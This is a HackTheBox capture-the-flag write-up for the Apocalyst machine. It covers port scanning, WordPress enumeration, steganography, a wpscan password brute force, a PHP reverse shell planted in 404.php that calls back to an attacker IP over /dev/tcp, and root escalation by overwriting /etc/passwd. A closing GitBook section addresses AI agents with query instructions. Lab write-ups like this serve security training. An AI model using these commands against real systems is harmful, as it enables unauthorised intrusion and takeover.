> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md). # Apocalyst HackTheBox Writeup Apocalyst HackTheBox Medium Linux machine writeup covering Wordpress Enumeration, Image Stego Challenge - Steghide, Information Leakage - User Enumeration, WordPress Exploitation - Theme Editor (RCE), {% embed url="" %} {% hint style="warning" %} **Skills:** * Wordpress Enumeration * Image Stego Challenge - Steghide * Information Leakage - User Enumeration * WordPress Exploitation - Theme Editor (RCE) * Abusing misconfigured permissions (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts ```

**Port version scan with Nmap (22.80):** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.10.46 -oN targeted ```

We detect a WordPress site, but the domain resolution is incorrectly configured.

We add the following entry to */etc/hosts*:

## **Exploration of the WordPress site**

#### **Identify a valid user** We find a valid user: **falaraki**.

#### **SSH Exploitation** Since the version of SSH is outdated, we can use an exploit to validate the user on the system: ```bash searchsploit -m linux/remote/45939.py ```

Validate that the user exists: ```bash python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null ```

#### So for wordpress:

### **WordPress Listing** We use *wfuzz* to search for interesting directories: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} This scan detects several pages returning a 301 code, redirecting to an image.

We then filter by the length of the text (157): {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} No interesting results.

### **Personalized Dictionary Creation - CEWL** We generate a dictionary based on the website:

Use **Cewl** to generate a dictionary based on the website: ```bash cewl -w list.txt http://apocalyst.htb/ ```

New recognition with *wfuzz*: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L ``` {% endcode %} We find the **`Rightiousness`** directory.

### **Steganography analysis with Steghide** We save the image and analyze it: 1. Checking if the image contains hidden data:

Checking if the image contains hidden data: ```bash steghide info image.jpg ```

Extraction of hidden data: ```bash steghide extract -sf image.jpg ```

A *list.txt* file containing words is generated

### **Brute force attack on WordPress**


Manual Brute Force (xmlrpc.php)

We launch a brute-force attack with *wpscan*, exploiting *xmlrpc.php* which is active: ```bash wpscan --url http://apocalyst.htb -U falaraki -P list.txt ``` We find **falaraki**'s password: **Transclisiation**.

### **WordPress Exploitation - Remote Code Execution (RCE)**

We modify the *404.php* file and inject a reverse shell into it: ```php & /dev/tcp/10.10.14.50/443 0>&1'") ?> ``` Listening on port 443: ```bash nc -nvlp 443 ```

Executing the shell via *curl*: ```bash curl -s -X GET "http://apocalyst.htb/?p=404.php" ```

#### Improved shell session: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## **Privilege Escalation** ### **Permission Management (`/etc/passwd`)** ```bash find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys" ``` We see that */etc/passwd* is editable.

Creating an encrypted password with OpenSSL: ``` openssl passwd -1 -salt WylYIBz9 jordan ```

Which generates: * $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/ We replace the root line in */etc/passwd* with our hash.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.